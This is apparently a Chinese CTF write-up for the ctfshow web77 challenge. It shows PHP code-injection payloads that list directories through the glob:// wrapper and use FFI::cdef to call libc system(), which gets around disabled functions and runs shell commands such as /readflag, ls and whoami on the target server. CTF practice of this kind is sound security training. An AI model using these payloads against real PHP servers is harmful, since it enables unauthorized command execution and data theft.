当前位置: 首页 > article >正文

[ctfshow web入门] web77

信息收集

上一题的读取flag方式不能用了,使用后的回显是:could not find driver

解题

同样的查目录方法

c=var_export(scandir("glob:///*"));die();
c=foreach(new DirectoryIterator("glob:///*") as $a){echo($a->__toString().' ');
}
ob_flush();
c=if ( $a = opendir("glob:///*") ) {while ( ($file = readdir($a)) !== false ) {echo $file."<br>";}closedir($a);exit();
}

在这里插入图片描述

读取flag

关于FFI的博客:PHP7.4 FFI 扩展安全问题

我只说FFI:cdef的一些结论:
php7.4才有
第二个参数可以缺省,缺省时大多情况下也能找到对应函数,有点类似于C的GetProcAddress
这个被调用的C函数由于没有写权限,前端没有回显

public static FFI::cdef(string $code = "", ?string $lib = null): FFI

最终答案

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('/readflag > 2.txt');die();

其中readflag是可执行文件,不是flag,所以执行/readflag后将结果输出到2.txt,就能拿到flag
由于没有目录穿透的手段了,只能复制到当前目录进行读取,可以使用include或是readgzfile啥的,都不影响

尝试过程

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('cp /flag36x.txt > 1.txt');
$ffi->system('cp /readflag 2.txt');die();

1.txt没有内容,2.txt是个ELF文件,开头有个ELF字样,就像windows可执行文件PE文件开头有MZ字样,图片文件开头也有PNG等能标识文件格式的字样。
在这里插入图片描述
这是一段伪C代码,因为这是从硬编码翻译过来的,与原来的C代码可能有所出入
使用uid设置为管理员权限
puts输出一段字符串
执行system(“cat /flag36x.txt”),这和php中的代码效果相同
在这里插入图片描述

猜测/flag36x.txt只有管理员能读
执行下面命令查看文件属性

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('ls / -al > ls.txt');exit();

在这里插入图片描述
关于权限,看博客:Linux:文件权限详解及修改方法
看权限分类即可

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('whoami > who.txt');exit();

打开who.txt得到我们是www-data

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('groups www-data > groups.txt');exit();

groups.txt得到www-data : www-data,显然我们不属于管理员用户组

而flag36x.txt的权限是拥有者可读所属用户组可读,我们不满足,无法读取
如果尝试复制这个文件就会提示如下错误

cp: missing destination file operand after '/flag36x.txt'
Try 'cp --help' for more information.

下一章就是web118
web76    目录    web118

http://www.lryc.cn/news/2379524.html

相关文章:

  • C++学习-入门到精通-【7】类的深入剖析
  • API 加速方案:如何使用 Redis 与 Memcached 进行高效缓存优化
  • 主成分分析的应用之sklearn.decomposition模块的PCA函数
  • 1. Go 语言环境安装
  • IP协议深度解析:互联网世界的核心基石
  • Oracle DBMS_STATS.GATHER_DATABASE_STATS 默认行为
  • C++天空之城的树 全国信息素养大赛复赛决赛 C++小学/初中组 算法创意实践挑战赛 内部集训模拟题详细解析
  • HTTP 请求走私(HTTP Request Smuggling)
  • 基于WebRTC的实时语音对话系统:从语音识别到AI回复
  • typeof运算符和深拷贝
  • .Net HttpClient 使用 Cookie
  • Python爬虫实战:通过PyExecJS库实现逆向解密
  • Java中的伪共享(False Sharing):隐藏的性能杀手与高并发优化实战
  • GO语言语法---switch语句
  • 开疆智能Profient转ModbusTCP网关连接ABB机器人MODBUS TCP通讯案例
  • 解决qt.network.ssl: QSslSocket::connectToHostEncrypted: TLS initialization failed
  • 【洛谷P3386】二分图最大匹配之Kuhn算法/匈牙利算法:直观理解
  • Text2SQL:自助式数据报表开发---0517
  • 使用Visual Studio将C#程序发布为.exe文件
  • 写spark程序数据计算( 数据库的计算,求和,汇总之类的)连接mysql数据库,写入计算结果
  • React Flow 边的基础知识与示例:从基本属性到代码实例详解
  • oracle 资源管理器的使用
  • 新手入门系列-linux系统下安装和使用docker
  • mysql中4种扫描方式和聚簇索引非聚簇索引【爽文一篇】
  • 贝叶斯优化Transformer融合支持向量机多变量回归预测,附相关性气泡图、散点密度图,Matlab实现
  • 水平可见直线--上凸包(andrew算法
  • 【mysql】并发 Insert 的死锁问题 第二弹
  • Docker配置SRS服务器 ,ffmpeg使用rtmp协议推流+vlc拉流
  • 一个stm32工程从底层上都需要由哪些文件构成
  • [Mac] 开发环境部署工具ServBay 1.12.2